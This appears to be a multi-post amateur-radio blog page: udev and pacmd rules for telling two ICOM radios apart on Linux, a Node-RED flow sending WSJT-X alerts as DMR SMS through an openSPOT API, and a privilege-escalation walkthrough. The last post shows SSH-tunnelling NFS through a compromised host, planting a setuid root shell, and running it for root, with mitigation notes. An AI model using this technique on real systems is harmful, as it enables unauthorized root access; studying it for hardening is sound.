ICOM IC-9700 and IC-7300 coexisting in Linux

I’ve just added an IC-9700 to the desk alongside the IC-7300, they look very nice together and very similar. Unfortunately the Audio and Serial devices also look very similar in Linux!


Both radio sound cards appear as PCM2901 making it hard to differentiate between them, and my previous udev rule to create a symlink for the IC-7300 ttyUSB device on /dev/ic7300 picked up the 9700 instead.

My previous udev serial rule created a symlink to /dev/ttyUSBx from /dev/ic7300 when a device with the 7300’s serial adapter idVendor and idProduct was seen like so:

SUBSYSTEM==”tty”, ATTRS{idVendor}==”10c4″, ATTRS{idProduct}==”ea60″ SYMLINK+=”ic7300″

This worked fine until the 9700 was plugged in as it also has the same idVendor and idProduct number. We can narrow this down easilt as another available attribute is “serial” which contains the radios unique serial number along with its name.

We can get the serial numbers using udevadm  (or better with lsusb below) against each of the /dev/ttyUSBx devices, the 9700 has two serial devices, the first works fine with hamlib for control but not sure what the second serial device at the moment.

$ udevadm info –attribute-walk –path=/sys/bus/usb-serial/devices/ttyUSB4 | grep IC-
ATTRS{serial}==”IC-9700 13000000 A”

$ udevadm info –attribute-walk –path=/sys/bus/usb-serial/devices/ttyUSB5 | grep IC-
ATTRS{serial}==”IC-9700 13000000 B”

$ udevadm info –attribute-walk –path=/sys/bus/usb-serial/devices/ttyUSB1 | grep IC-
ATTRS{serial}==”IC-7300 03000000″

An easier way to get the serial numbers is by running lsusb as root as follows, thanks to PA3MET for the pointer!

# lsusb -vvvvv | egrep “9700|7300”
iSerial 3 IC-9700 13000000 B
iSerial 3 IC-9700 13000000 A
iSerial 3 IC-7300 03000000

We can take these and create appropriate udev rules for adding symlinks for the radios serial devices including the unique serial numbers. Here is an extract from my /etc/udev/rules.d/99-hamlib.rules file:

SUBSYSTEM==”tty”, ATTRS{idVendor}==”10c4″, ATTRS{idProduct}==”ea60″, ATTRS{serial}==”IC-7300 03000000″, SYMLINK+=”ic7300″

SUBSYSTEM==”tty”, ATTRS{idVendor}==”10c4″, ATTRS{idProduct}==”ea60″, ATTRS{serial}==”IC-9700 13000000 A”, SYMLINK+=”ic9700a”

SUBSYSTEM==”tty”, ATTRS{idVendor}==”10c4″, ATTRS{idProduct}==”ea60″, ATTRS{serial}==”IC-9700 13000000 B”, SYMLINK+=”ic9700b”

A reload of udev rules with “udevadm trigger” and we have our serial devices available from convenient symlinks so no chasing about ttyUSB device names:

$ ls -l /dev/ic*
lrwxrwxrwx 1 root root 7 Apr 4 14:27 /dev/ic7300 -> ttyUSB1
lrwxrwxrwx 1 root root 7 Apr 4 14:27 /dev/ic9700a -> ttyUSB4
lrwxrwxrwx 1 root root 7 Apr 4 14:27 /dev/ic9700b -> ttyUSB5

Next up is the sound cards. I use quite a lot of different programs and need to easily switch and adjust my audio inputs/outputs using pavucontrol. The problem here is both audio devices have the same name, PCM2901, meaning I can’t easily tell what sound card belongs to what radio.

There’s no way to differentiate the sound cards like with the serial above as they return the exact same information and attributes. The only way to differentiate them from what I can see is with the physical USB port they are plugged in to. This is fine here as it’s a desktop and they will remain plugged in to the same ports.

We can list the devices with the following command, this shows both the IC-7300 and IC-9700 sound cards. I’ve removed some other sound cards from the output, as we’re just looking for the “Burr-Brown_from_TI_USB_Audio_CODEC” entries here

$ pacmd list-sources | egrep “name:|sysfs”

name: <alsa_output.usb-Burr-Brown_from_TI_USB_Audio_CODEC-00.analog-stereo.2.monitor>
sysfs.path = “/devices/pci0000:00/0000:00:14.0/usb3/3-2/3-2.4/3-2.4:1.0/sound/card4”
name: <alsa_input.usb-Burr-Brown_from_TI_USB_Audio_CODEC-00.analog-stereo.2>
sysfs.path = “/devices/pci0000:00/0000:00:14.0/usb3/3-2/3-2.4/3-2.4:1.0/sound/card4″
name: <alsa_output.usb-Burr-Brown_from_TI_USB_Audio_CODEC-00.analog-stereo.3.monitor>
sysfs.path = “/devices/pci0000:00/0000:00:14.0/usb3/3-3/3-3.4/3-3.4:1.0/sound/card5”
name: <alsa_input.usb-Burr-Brown_from_TI_USB_Audio_CODEC-00.analog-stereo.3>
sysfs.path = “/devices/pci0000:00/0000:00:14.0/usb3/3-3/3-3.4/3-3.4:1.0/sound/card5″

We are looking to extract the unique portion from device paths above, here we can see the paths differ at 3-3/3-3.4/3-3.4 and 3-2/3-2.4/3-2.4. We will want to identify which entry belongs to which radio so run it with the USB disconnected then connected to identify which device matches which radio.

We can then run the following to apply a device description of IC9700 to the IC-9700 sound card source and sink which will show against the audio device in pulse applications instead of PCM2901.

The 3-3.4 is referencing the end of the USB port discovered above.

pacmd update-source-proplist $(pacmd list-sources | egrep “name:.*Burr-Brown*|3-3.4” | grep -B 1 sysfs.path | grep name | sed “s/.*<\(.*\)>/\1/” | grep -v monitor) device.description=IC9700

pacmd update-sink-proplist $(pacmd list-sinks | egrep “name:.*Burr-Brown*|3-3.4” | grep -B 1 sysfs.path | grep name | sed “s/.*<\(.*\)>/\1/”) device.description=IC9700

And the same for the IC7300 with 3-2.4:

pacmd update-source-proplist $(pacmd list-sources | egrep “name:.*Burr-Brown*|3-2.4” | grep -B 1 sysfs.path | grep name | sed “s/.*<\(.*\)>/\1/” | grep -v monitor) device.description=IC7300

pacmd update-sink-proplist $(pacmd list-sinks | egrep “name:.*Burr-Brown*|3-2.4” | grep -B 1 sysfs.path | grep name | sed “s/.*<\(.*\)>/\1/”) device.description=IC7300

The audio devices should now be available using the name we set above in pavucontrol and other applications. This can be put in a script to run manually or at login.

WSJT-X alerts to MD-380 with the openSPOT HTTP API

DMR SMS alerts using the SharkRF openSPOT with Node-RED

I recently acquired a SharkRF openSPOT for use as a hotspot to connect to the Brandmeister DMR network with my MD-380 DMR radio as I have no easily accessible repeaters nearby to use for DMR.

I have nothing but good things to say about this device, it works very well, the UI is simple to use, reported bugs are fixed very quickly and new features added with new firmware. The icing on the cake is it is a very accessible device with a HTTP and UDP API to interact with! I’ve only toyed with some features in the HTTP API but happy with what I’ve seen so far.

The first use I came up with for it was receiving DMR SMS messages to my MD-380 from my existing WSJT-X & Node-RED setup. The status-dmrsms API allows us to receive and send SMS messages over the local RF link to our connected DMR radio by specifying its DMR ID. This functionality works exactly as described in the API documentation now and if you follow it you will get a beer.


BEER from the SharkRF openSPOT HTTP API

In order to get this working in to Node-RED a flow was needed to handle authentication. As described in the Login Process, we need to hash our openSPOT password with a provided token to get a digest for use in all communication to the API, this digest is valid for 60 minutes.

The flow below shows the authentication process it as set up at the moment.

Node-RED openSPOT API Login

Node-RED openSPOT API Login

The inject at the beginning just sends a time stamp, which is unused, to start this flow off on Node-RED start-up and every 30 minutes thereafter. After the login is posted some global variables are set with the login status, the token and the digest if authentication was successful. This should hopefully tick away to ensure we will have a valid digest to hand at all times.

The posting of messages is easy and exactly as documented in the API description. With the digest already in a global variable from the login process above, we take any text input, limit it to 75 characters, convert to UTF16BE HEX and post it in the correct format for our radio. The full flow including the message input from WSJT-X is pictured below.

Full flow for using the openSPOT API

Full flow for using the openSPOT API

The inject function in the send flow is just there for testing purposes to insert a test message manually and the success function at the end just writes the status to the debug console.

With the above all set up we just wait for the DX to light up our DMR radio with an SMS message, the image below shows this on an earlier version of the same flow.

WSJT-X alerts to MD-380 with the openSPOT HTTP API

WSJT-X alerts to MD-380 with the openSPOT HTTP API

Alerts from Node-RED via Twitter or IRC might be easier but at least with the above it is all contained on the RF side and doesn’t need the Internet 🙂

It has been running for a few days now and seems to be working fine. I’ll try and wrap it all up in a more easily deployed function if I get the time but if anyone wants the nasty code before then just drop me a line.

NFS Pivoting Via SSH For Easy Privilege Escalation And More

It’s possible to take advantage of insecure NFS mounts to escalate privileges on a system you have user level SSH access to without introducing any tools to the remote system by tunneling our NFS traffic and having our source appear to be that of the target server. This can be done without direct network access to the NFS server and does not require us being defined in the exports access control list. If the NFS server was directly accessible and mountable from our location we would just do this the normal way and mount directly.

In this instance the set-up might be a Linux server that has a mounted NFS export without root_squash or secure set and is mounted without the nosuid or noexec option. This situation is not that uncommon in NFS heavy environments.

We also do not need to be able to route directly to the NFS server from our attacker location so it being in an inaccessible or firewalled zone doesn’t cause a problem. By tunnelling the NFS connection using SSH port forwarding we will be assuming the identity of the target server so if an export is available to it, it’s available to us!

The three systems described in the scenario are as below, the NFS server is only accessible to the target system here.

      +----------+   +--------+   +------------+
      | Attacker |-->| Target |-->| NFS Server |
      +----------+   +--------+   +------------+

Firstly check the mounted file systems on the target system with the mount command looking for an already mounted NFS export that you have read access to and is not mounted with the nosuid/noexec options:

nfs-filer:/export/filesystem1 on /filesystem1 type nfs (rw,addr=

Take a note of the IP address of the NFS server and also take note of other exported file systems that may be available to the target but not mounted using showmount -e.

Back on the attacker system, ssh to the target and port forward the local NFS port 2049 to the remote NFS server port 2049 via the target.

attacker # ssh -L 2049:NFS-Server-IP:2049 ouruser@target

Now as long as the above was successful, on the attackers system as root we locally mount the chosen export using our forwarded port.

attacker # mount -v -t nfs -o port=2049,tcp localhost:/export/filesystem1 /mnt/filesystem1

Now on the attacker system we check that we can access the contents of /mnt/filesystem1 and that we have write access as root by creating a file and checking the owner on the target system, this should be owned by root.

attacker # touch /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rw-r–r– 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now back on the attacker host we can chmod +s this file to check suid files can be created and we should hopefully see the following:

attacker # chmod +s /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now if we want to take advantage of this on the attacker system we can do something like the following to create a suid binary, this can be compiled on the remote file system or the attacker system depending on the circumstances.

attacker # cat suidsh.c
int main() { setuid(0); setgid(0); execl(/bin/sh, sh, NULL); }
attacker # gcc -o /mnt/filesystem1/.nfstest suidsh.c
attacker # chmod +s /mnt/filesystem1/.nfstest

Now head on over to the target system and do the deed:

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest
target $ id
uid=1000(luser) gid=1000(luser) groups=1000(lusers)
target $ /filesystem1/.nfstest
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# #bingo :)

Even if the above fails due to root squashing, nosuid or some other reason we still have access to the contents of the exported file system via our tunnelled mount which in itself might provide enough win.

Another thing we can do is to mount file systems that are available to the target system even if they are not mounted by the target. It’s always worth having a look around for other NFS exports or servers that might be available to the Target that can be tunnelled in this way.

A few NFS export options can be set to prevent the above, the use of the secure option will require connections come from a port below 1024 meaning our mounting as a normal user using an SSH tunnel would not work. The use of root_squash which is a common default now would also prevent us becoming root, however we may still be able to become or alter another users content which might lead to root privileges. The local mount options of nosuid and noexec would prevent suid files and executable files on the mount but again there may be other ways to escalate depending on the file system contents.

The above will also not work if ssh port forwarding has been disabled, however with shell access on the target system we can just do this another way if needs be. We could also do a lot of the above with user space tools introduced to the target system but I prefer solutions that do not require uploading tooling to systems wherever possible.